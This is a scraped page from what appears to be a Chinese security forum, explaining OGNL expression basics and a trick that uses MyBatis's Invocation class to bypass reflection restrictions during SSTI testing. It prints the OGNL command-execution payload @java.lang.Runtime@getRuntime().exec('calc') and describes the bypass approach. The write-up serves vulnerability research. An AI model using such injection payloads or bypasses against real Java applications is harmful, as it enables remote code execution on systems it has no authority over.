S/T2ExESAC/EUjAH3y5DuLTFzxmlDxFbw+XfT133yOw9eNfdcvlXgQz4s+Y01JgRAKaJ8K8DzZD5MD3dha4epUBelABQFD8m23ugMsBT1JN8rgLfx5CEAF809FgfgoYEApk+91QLI7nsFLwMF45YivGqnWOz0azfT2BBADXHk649RakWRYRdBWYo6LIzoecot3YZbwCpLka0NPO+gUzC0JMncXMTqOoysKkpDoGiIQxLszlo03+OnHkvn5hhJ0H0NQ0vSutDyS2iBDle4EOhKEbEriD0qL34OmdQNkWJ7xqIMAm1J+lI0JwQqJ9CWpC9FZFYIFFWJhgCcm7PcZgjwUuCsibYkeG7OYFkLPsg7JG1JBqXIthwySCcqfQhUc/ORWTlo8SV5CPoQGLkwn3/2XU0V9C1J3xBbE9hWQ5ZJXepbklEpmm2CnloWAs3cnDLr0JuBb5JdS9LMzSmWLVEnoWtJmrk5tgBOQhcCo1KEKYCVUJnMzfEFjBJC04b4RhYwfJSpYUN0cVO7PNIQGJSiZE5Dhqn7lmQwNz87upAWdC3JoBTt8O5BcVRdCPRz8wTnEpSEulsoaj9E7MtoDEHfki7Kcpg4vJlaDQvFAu4JVveOTKnHheI+k5vB+u6VGQG3dympCfPun+kphX31SJyoI15FlBNOjvxj1pI799fDj5LbiB8NyXuB6+ml/HSl1ZA7j39HCB0wxc4qoECgPWByTKW4lrsMfybH3U4BL4FtbGxsbKDhed4/toAFv6EfLCYAAAAASUVORK5CYII="><link rel=canonical href=https://forum.butian.net/share/2916><meta http-equiv=content-security-policy content="default-src 'none'; font-src 'self' data:; img-src 'self' data:; style-src 'unsafe-inline'; media-src 'self' data:; script-src 'unsafe-inline' data:; object-src 'self' data:; frame-src 'self' data:;"><style>img[src="data:,"],source[src="data:,"]{display:none!important}</style></head>
|
||||
<body>
|
||||
<div class="global-nav mb-50" style="display:none !important">
|
||||
|
||||
</div>
|
||||
<div class="top-alert mt-60 clearfix text-center" style="display:none !important">
|
||||
<!--[if lt IE 9]>
|
||||
<div class="alert alert-danger topframe" role="alert">你的浏览器实在<strong>太太太太太太旧了</strong>,放学别走,升级完浏览器再说
|
||||
<a target="_blank" class="alert-link" href="http://browsehappy.com">立即升级</a>
|
||||
</div>
|
||||
<![endif]-->
|
||||
|
||||
</div>
|
||||
<div class=wrap>
|
||||
<div class=container>
|
||||
<div class="row mt-10">
|
||||
<div class="col-xs-12 col-md-9 main">
|
||||
<div class=widget-article>
|
||||
<h3 class="title word-wrap">Ognl小trick</h3>
|
||||
<ul class=taglist-inline>
|
||||
<li class=tagPopup><a class=tag href=https://forum.butian.net/topic/48>漏洞分析</a></li>
|
||||
</ul>
|
||||
<div class="content mt-10">
|
||||
<div class="quote mb-20">
|
||||
小trick一则
|
||||
</div>
|
||||
<textarea id=md_view_content style=display:none>OGNL小trick
|
||||
==========
|
||||
|
||||
什么是OGNL表达式
|
||||
----------
|
||||
|
||||
OGNL 是 Object-Graph Navigation Language(对象图导航语言)OGNL 最初是作为 WebWork 框架的一部分开发的,现在已成为 Apache Struts2 的一个关键组件(这也就是为什么Struts2中的OGNL表达式漏洞这么多),并被用于其他各种 Java 框架。
|
||||
|
||||
对象图导航
|
||||
-----
|
||||
|
||||
OGNL的核心就在于`对象图导航`这个概念,其实和数据结构中的图和很相似,再OGNL或者面向对象编程语言中:以引用作为边,对象作为节点,对象可以包含其他对象(组合)或与其他对象产生关联(聚合),从而在更大的对象图中形成子图。
|
||||
以一段简单的代码作为解释:
|
||||
|
||||
```java
|
||||
public class ObjectGraphDemo {
|
||||
|
||||
class People{
|
||||
Car car;
|
||||
}
|
||||
|
||||
class Car{
|
||||
String carName = "BMW";
|
||||
House house;
|
||||
}
|
||||
|
||||
class House{
|
||||
String houseName = "MyHouse";
|
||||
}
|
||||
|
||||
public void printPeopleInfo(){
|
||||
People people = new People();
|
||||
System.out.println(people.car.carName);
|
||||
System.out.println(people.car.house.houseName);
|
||||
}
|
||||
|
||||
}
|
||||
```
|
||||
|
||||
我们设定好了三个类,分别叫`People`、`Car`还有`House`,通过这三个类的引用,我们就可以体会到以引用作为边,对象作为节点的这么一种设计理念。
|
||||
|
||||
OGNL中都有什么
|
||||
---------
|
||||
|
||||
想知道OGNL都有什么,不如直接点进去看看,我们都知道再`ognl.Ognl.getValue()`方法处会触发RCE漏洞,那么也就是看在这里`getValue`方法接受了什么参数(其实更简单的办法是去问问GPT):
|
||||
这里我将所有的`getValue`全都拷贝过来了,看起来很多其实全都是重载方法进行互相调用,通过看这些代码发现必不可少的三样东西是`expression`、`context`和`root`,这也就是我们说的OGNL的三要素,其实这些东西网上很多人都分析过了,之所以这么啰嗦还是为了自己能够更好地理解。
|
||||
|
||||
```java
|
||||
public static Object getValue(Object tree, Map context, Object root) throws OgnlException {
|
||||
return getValue((Object)tree, (Map)context, root, (Class)null);
|
||||
}
|
||||
|
||||
public static Object getValue(Object tree, Map context, Object root, Class resultType) throws OgnlException {
|
||||
OgnlContext ognlContext = (OgnlContext)addDefaultContext(root, context);
|
||||
Node node = (Node)tree;
|
||||
Object result;
|
||||
if (node.getAccessor() != null) {
|
||||
result = node.getAccessor().get(ognlContext, root);
|
||||
} else {
|
||||
result = node.getValue(ognlContext, root);
|
||||
}
|
||||
|
||||
if (resultType != null) {
|
||||
result = getTypeConverter(context).convertValue(context, root, (Member)null, (String)null, result, resultType);
|
||||
}
|
||||
|
||||
return result;
|
||||
}
|
||||
|
||||
public static Object getValue(ExpressionAccessor expression, OgnlContext context, Object root) {
|
||||
return expression.get(context, root);
|
||||
}
|
||||
|
||||
public static Object getValue(ExpressionAccessor expression, OgnlContext context, Object root, Class resultType) {
|
||||
return getTypeConverter(context).convertValue(context, root, (Member)null, (String)null, expression.get(context, root), resultType);
|
||||
}
|
||||
|
||||
public static Object getValue(String expression, Map context, Object root) throws OgnlException {
|
||||
return getValue((String)expression, (Map)context, root, (Class)null);
|
||||
}
|
||||
|
||||
public static Object getValue(String expression, Map context, Object root, Class resultType) throws OgnlException {
|
||||
return getValue(parseExpression(expression), context, root, resultType);
|
||||
}
|
||||
|
||||
public static Object getValue(Object tree, Object root) throws OgnlException {
|
||||
return getValue((Object)tree, (Object)root, (Class)null);
|
||||
}
|
||||
|
||||
public static Object getValue(Object tree, Object root, Class resultType) throws OgnlException {
|
||||
return getValue(tree, createDefaultContext(root), root, resultType);
|
||||
}
|
||||
|
||||
public static Object getValue(String expression, Object root) throws OgnlException {
|
||||
return getValue((String)expression, (Object)root, (Class)null);
|
||||
}
|
||||
|
||||
public static Object getValue(String expression, Object root, Class resultType) throws OgnlException {
|
||||
return getValue(parseExpression(expression), root, resultType);
|
||||
}
|
||||
```
|
||||
|
||||
那么接下来逐步了解OGNL三要素是什么。
|
||||
|
||||
### expression
|
||||
|
||||
表达式是OGNL的核心,OGNL的内容都是从表达式出发的,表达式规定了程序在解析后需要做什么操作。
|
||||
|
||||
### root
|
||||
|
||||
root对象在OGNL中可以看作是一个节点,当表达式被解析后对谁进行操作,这其中的“谁”就是root。
|
||||
|
||||
### context
|
||||
|
||||
context上下文,是一个Map类型的数据结构,包含OGNL表达式执行时候的上下文(root也在其中)。
|
||||
为了更好地了解,我在demo中提供了一个setinfo接口,可以方便观察root和非root节点在使用OGNL表达式时候的差异。
|
||||
|
||||
OGNL的使用
|
||||
-------
|
||||
|
||||
### 基本使用
|
||||
|
||||
我在demo中留了一个例子来测试OGNL表达式,那么接下来就来熟悉一下OGNL表达式的用法吧:
|
||||
OGNL的语法和Java很像,基本上熟悉了Java就能简单使用OGNL表达式。
|
||||
OGNL中可以使用的操作符+, -, \*, /, ++, --, ==, !=, =,mod, in, not in
|
||||
对于非`root`自定义对象,我们可以通过`.`来链接,就和Java中一样,比如我要访问`people1`中的`car`的`carName`字段,只需要使用`#people1.car.carName`就可以访问了。
|
||||
对于`root`对象也一样,只不过因为`root`只有一个,所以不需要加`root`的名字就可以。
|
||||
|
||||
### 引用静态资源
|
||||
|
||||
要引用类的静态方法和字段,他们的表达方式是一样的`@class@member`或者`@class@method(args)`。
|
||||
比如我们最喜欢的弹计算器操作,其实就可以写成`@java.lang.Runtime@getRuntime().exec("calc")`。
|
||||
通过`@java.lang.Runtime`访问`Runtime`类,然后通过`@getRuntime().exec("calc")`拿到`Runtime`实例并执行命令。
|
||||

|
||||
|
||||
### 数组、Map、容器
|
||||
|
||||
OGNL支持对数组、Map、容器进行操作,如我在`People`类中新增了一个数组:
|
||||
|
||||
```java
|
||||
public static class People {
|
||||
public Car car = new Car();
|
||||
public String[] stratt = new String[]{"1", "2", "3"};
|
||||
}
|
||||
```
|
||||
|
||||
同样的对于前文的`root`和`非root`节点,只需要分别用以下表达式去访问
|
||||
root:stratt\[1\]读取
|
||||

|
||||
非root:#people1.stratt\[2\]
|
||||

|
||||
也可以用Java中类似的方式新建数组并且访问:
|
||||
`new java.lang.String[]{"a","b","c"}[1]`
|
||||
`new String[]{"a","b","c"}[2]`
|
||||
这两种方法都是可以的。
|
||||

|
||||
Map同理,可以使用key的值来直接访问value
|
||||
`#{"A":"a","B":"b","C":"c"}["B"]`
|
||||

|
||||
|
||||
### 选择和投影
|
||||
|
||||
这段就作为一个了解吧,我直接复制了milktea师傅的文章中的一部分:
|
||||
OGNL支持类似数据库中的投影(projection) 和选择(selection)。
|
||||
投影就是选出集合中每个元素的相同属性组成新的集合,类似于关系数据库的字段操作。投影操作语法为 collection.{XXX},其中XXX是这个集合中每个元素的公共属性。
|
||||
例如:`group.userList.{username}`将获得某个`group`中的所有`user`的`name`的列表。
|
||||
选择就是过滤满足`selection`条件的集合元素,类似于关系数据库的纪录操作。选择操作的语法为:`collection.{X YYY}`,其中`X`是一个选择操作符,后面则是选择用的逻辑表达式。而选择操作符有三种:
|
||||
|
||||
- ?选择满足条件的所有元素
|
||||
- ^选择满足条件的第一个元素
|
||||
- $选择满足条件的最后一个元素
|
||||
|
||||
例如:`group.userList.{? #txxx.xxx != null}`将获得某个`group`中`user`的`name`不为空的`user`的列表。
|
||||
|
||||
Invocation.class
|
||||
----------------
|
||||
|
||||
那天在公司审代码,发现mybatis中频繁使用了`setAccessable()`,跟进去发现了这么一个类,正好也是闲的,就用它写了个弹计算器,心想也没啥用。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
配合ognl
|
||||
------
|
||||
|
||||
后来闲的没事突然想这东西能不能写进ognl里面然后绕过反射的限制呢?好巧不巧第二天Umbrella让我助他SSTI,这个trick就有用了么这不。
|
||||
|
||||
在ognl中通过forname()可以判断有没有这个类,也就是判断用没用mybatis。
|
||||
图不放了,遇到有可能的环境大家自行查看就好。
|
||||
|
||||
有的那么就尝试构造个表达式获取一下runtime实例,绕过防护试试。
|
||||
|
||||

|
||||
|
||||
线上同样不放图了,被警告了,使用的话是可以成功的,那就试试直接r呢?
|
||||
|
||||

|
||||
|
||||
具体描述和测试用例放在https://github.com/springkill/Ognl-Test 感兴趣自取。</textarea>
|
||||
<div id=layer-photos-demo>
|
||||
<div id=md_view><div class=markdown-body><h1 blockindex=0>OGNL小trick</h1>
|
||||
<h2 blockindex=1>什么是OGNL表达式</h2>
|
||||
<p blockindex=2>OGNL 是 Object-Graph Navigation Language(对象图导航语言)OGNL 最初是作为 WebWork 框架的一部分开发的,现在已成为 Apache Struts2 的一个关键组件(这也就是为什么Struts2中的OGNL表达式漏洞这么多),并被用于其他各种 Java 框架。</p>
|
||||
<h2 blockindex=3>对象图导航</h2>
|
||||
<p blockindex=4>OGNL的核心就在于<code>对象图导航</code>这个概念,其实和数据结构中的图和很相似,再OGNL或者面向对象编程语言中:以引用作为边,对象作为节点,对象可以包含其他对象(组合)或与其他对象产生关联(聚合),从而在更大的对象图中形成子图。<br>
|
||||
以一段简单的代码作为解释:</p>
|
||||
<pre blockindex=5><code class="hljs language-java"><span class=hljs-keyword>public</span> <span class=hljs-class><span class=hljs-keyword>class</span> <span class=hljs-title>ObjectGraphDemo</span> </span>{
|
||||
|
||||
<span class=hljs-class><span class=hljs-keyword>class</span> <span class=hljs-title>People</span></span>{
|
||||
Car car;
|
||||
}
|
||||
|
||||
<span class=hljs-class><span class=hljs-keyword>class</span> <span class=hljs-title>Car</span></span>{
|
||||
String carName = <span class=hljs-string>"BMW"</span>;
|
||||
House house;
|
||||
}
|
||||
|
||||
<span class=hljs-class><span class=hljs-keyword>class</span> <span class=hljs-title>House</span></span>{
|
||||
String houseName = <span class=hljs-string>"MyHouse"</span>;
|
||||
}
|
||||
|
||||
<span class=hljs-function><span class=hljs-keyword>public</span> <span class=hljs-keyword>void</span> <span class=hljs-title>printPeopleInfo</span><span class=hljs-params>()</span></span>{
|
||||
People people = <span class=hljs-keyword>new</span> People();
|
||||
System.out.println(people.car.carName);
|
||||
System.out.println(people.car.house.houseName);
|
||||
}
|
||||
|
||||
}
|
||||
</code></pre>
|
||||
<p blockindex=6>我们设定好了三个类,分别叫<code>People</code>、<code>Car</code>还有<code>House</code>,通过这三个类的引用,我们就可以体会到以引用作为边,对象作为节点的这么一种设计理念。</p>
|
||||
<h2 blockindex=7>OGNL中都有什么</h2>
|
||||
<p blockindex=8>想知道OGNL都有什么,不如直接点进去看看,我们都知道再<code>ognl.Ognl.getValue()</code>方法处会触发RCE漏洞,那么也就是看在这里<code>getValue</code>方法接受了什么参数(其实更简单的办法是去问问GPT):<br>
|
||||
这里我将所有的<code>getValue</code>全都拷贝过来了,看起来很多其实全都是重载方法进行互相调用,通过看这些代码发现必不可少的三样东西是<code>expression</code>、<code>context</code>和<code>root</code>,这也就是我们说的OGNL的三要素,其实这些东西网上很多人都分析过了,之所以这么啰嗦还是为了自己能够更好地理解。</p>
|
||||
<pre blockindex=9><code class="hljs language-java"><span class=hljs-function><span class=hljs-keyword>public</span> <span class=hljs-keyword>static</span> Object <span class=hljs-title>getValue</span><span class=hljs-params>(Object tree, Map context, Object root)</span> <span class=hljs-keyword>throws</span> OgnlException </span>{
|
||||
<span class=hljs-keyword>return</span> getValue((Object)tree, (Map)context, root, (Class)<span class=hljs-keyword>null</span>);
|
||||
}
|
||||
|
||||
<span class=hljs-function><span class=hljs-keyword>public</span> <span class=hljs-keyword>static</span> Object <span class=hljs-title>getValue</span><span class=hljs-params>(Object tree, Map context, Object root, Class resultType)</span> <span class=hljs-keyword>throws</span> OgnlException </span>{
|
||||
OgnlContext ognlContext = (OgnlContext)addDefaultContext(root, context);
|
||||
Node node = (Node)tree;
|
||||
Object result;
|
||||
<span class=hljs-keyword>if</span> (node.getAccessor() != <span class=hljs-keyword>null</span>) {
|
||||
result = node.getAccessor().get(ognlContext, root);
|
||||
} <span class=hljs-keyword>else</span> {
|
||||
result = node.getValue(ognlContext, root);
|
||||
}
|
||||
|
||||
<span class=hljs-keyword>if</span> (resultType != <span class=hljs-keyword>null</span>) {
|
||||
result = getTypeConverter(context).convertValue(context, root, (Member)<span class=hljs-keyword>null</span>, (String)<span class=hljs-keyword>null</span>, result, resultType);
|
||||
}
|
||||
|
||||
<span class=hljs-keyword>return</span> result;
|
||||
}
|
||||
|
||||
<span class=hljs-function><span class=hljs-keyword>public</span> <span class=hljs-keyword>static</span> Object <span class=hljs-title>getValue</span><span class=hljs-params>(ExpressionAccessor expression, OgnlContext context, Object root)</span> </span>{
|
||||
<span class=hljs-keyword>return</span> expression.get(context, root);
|
||||
}
|
||||
|
||||
<span class=hljs-function><span class=hljs-keyword>public</span> <span class=hljs-keyword>static</span> Object <span class=hljs-title>getValue</span><span class=hljs-params>(ExpressionAccessor expression, OgnlContext context, Object root, Class resultType)</span> </span>{
|
||||
<span class=hljs-keyword>return</span> getTypeConverter(context).convertValue(context, root, (Member)<span class=hljs-keyword>null</span>, (String)<span class=hljs-keyword>null</span>, expression.get(context, root), resultType);
|
||||
}
|
||||
|
||||
<span class=hljs-function><span class=hljs-keyword>public</span> <span class=hljs-keyword>static</span> Object <span class=hljs-title>getValue</span><span class=hljs-params>(String expression, Map context, Object root)</span> <span class=hljs-keyword>throws</span> OgnlException </span>{
|
||||
<span class=hljs-keyword>return</span> getValue((String)expression, (Map)context, root, (Class)<span class=hljs-keyword>null</span>);
|
||||
}
|
||||
|
||||
<span class=hljs-function><span class=hljs-keyword>public</span> <span class=hljs-keyword>static</span> Object <span class=hljs-title>getValue</span><span class=hljs-params>(String expression, Map context, Object root, Class resultType)</span> <span class=hljs-keyword>throws</span> OgnlException </span>{
|
||||
<span class=hljs-keyword>return</span> getValue(parseExpression(expression), context, root, resultType);
|
||||
}
|
||||
|
||||
<span class=hljs-function><span class=hljs-keyword>public</span> <span class=hljs-keyword>static</span> Object <span class=hljs-title>getValue</span><span class=hljs-params>(Object tree, Object root)</span> <span class=hljs-keyword>throws</span> OgnlException </span>{
|
||||
<span class=hljs-keyword>return</span> getValue((Object)tree, (Object)root, (Class)<span class=hljs-keyword>null</span>);
|
||||
}
|
||||
|
||||
<span class=hljs-function><span class=hljs-keyword>public</span> <span class=hljs-keyword>static</span> Object <span class=hljs-title>getValue</span><span class=hljs-params>(Object tree, Object root, Class resultType)</span> <span class=hljs-keyword>throws</span> OgnlException </span>{
|
||||
<span class=hljs-keyword>return</span> getValue(tree, createDefaultContext(root), root, resultType);
|
||||
}
|
||||
|
||||
<span class=hljs-function><span class=hljs-keyword>public</span> <span class=hljs-keyword>static</span> Object <span class=hljs-title>getValue</span><span class=hljs-params>(String expression, Object root)</span> <span class=hljs-keyword>throws</span> OgnlException </span>{
|
||||
<span class=hljs-keyword>return</span> getValue((String)expression, (Object)root, (Class)<span class=hljs-keyword>null</span>);
|
||||
}
|
||||
|
||||
<span class=hljs-function><span class=hljs-keyword>public</span> <span class=hljs-keyword>static</span> Object <span class=hljs-title>getValue</span><span class=hljs-params>(String expression, Object root, Class resultType)</span> <span class=hljs-keyword>throws</span> OgnlException </span>{
|
||||
<span class=hljs-keyword>return</span> getValue(parseExpression(expression), root, resultType);
|
||||
}
|
||||
</code></pre>
|
||||
<p blockindex=10>那么接下来逐步了解OGNL三要素是什么。</p>
|
||||
<h3 blockindex=11>expression</h3>
|
||||
<p blockindex=12>表达式是OGNL的核心,OGNL的内容都是从表达式出发的,表达式规定了程序在解析后需要做什么操作。</p>
|
||||
<h3 blockindex=13>root</h3>
|
||||
<p blockindex=14>root对象在OGNL中可以看作是一个节点,当表达式被解析后对谁进行操作,这其中的“谁”就是root。</p>
|
||||
<h3 blockindex=15>context</h3>
|
||||
<p blockindex=16>context上下文,是一个Map类型的数据结构,包含OGNL表达式执行时候的上下文(root也在其中)。<br>
|
||||
为了更好地了解,我在demo中提供了一个setinfo接口,可以方便观察root和非root节点在使用OGNL表达式时候的差异。</p>
|
||||
<h2 blockindex=17>OGNL的使用</h2>
|
||||
<h3 blockindex=18>基本使用</h3>
|
||||
<p blockindex=19>我在demo中留了一个例子来测试OGNL表达式,那么接下来就来熟悉一下OGNL表达式的用法吧:<br>
|
||||
OGNL的语法和Java很像,基本上熟悉了Java就能简单使用OGNL表达式。<br>
|
||||
OGNL中可以使用的操作符+, -, *, /, ++, --, ==, !=, =,mod, in, not in<br>
|
||||
对于非<code>root</code>自定义对象,我们可以通过<code>.</code>来链接,就和Java中一样,比如我要访问<code>people1</code>中的<code>car</code>的<code>carName</code>字段,只需要使用<code>#people1.car.carName</code>就可以访问了。<br>
|
||||
对于<code>root</code>对象也一样,只不过因为<code>root</code>只有一个,所以不需要加<code>root</code>的名字就可以。</p>
|
||||
<h3 blockindex=20>引用静态资源</h3>
|
||||
<p blockindex=21>要引用类的静态方法和字段,他们的表达方式是一样的<code>@class@member</code>或者<code>@class@method(args)</code>。<br>
|
||||
比如我们最喜欢的弹计算器操作,其实就可以写成<code>@java.lang.Runtime@getRuntime().exec("calc")</code>。<br>
|
||||
通过<code>@java.lang.Runtime</code>访问<code>Runtime</code>类,然后通过<code>@getRuntime().exec("calc")</code>拿到<code>Runtime</code>实例并执行命令。<br>
|
||||
<img src="data:image/png;base64,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 truncated
|
||||
<h3 blockindex=22>数组、Map、容器</h3>
|
||||
<p blockindex=23>OGNL支持对数组、Map、容器进行操作,如我在<code>People</code>类中新增了一个数组:</p>
|
||||
<pre blockindex=24><code class="hljs language-java"><span class=hljs-keyword>public</span> <span class=hljs-keyword>static</span> <span class=hljs-class><span class=hljs-keyword>class</span> <span class=hljs-title>People</span> </span>{
|
||||
<span class=hljs-keyword>public</span> Car car = <span class=hljs-keyword>new</span> Car();
|
||||
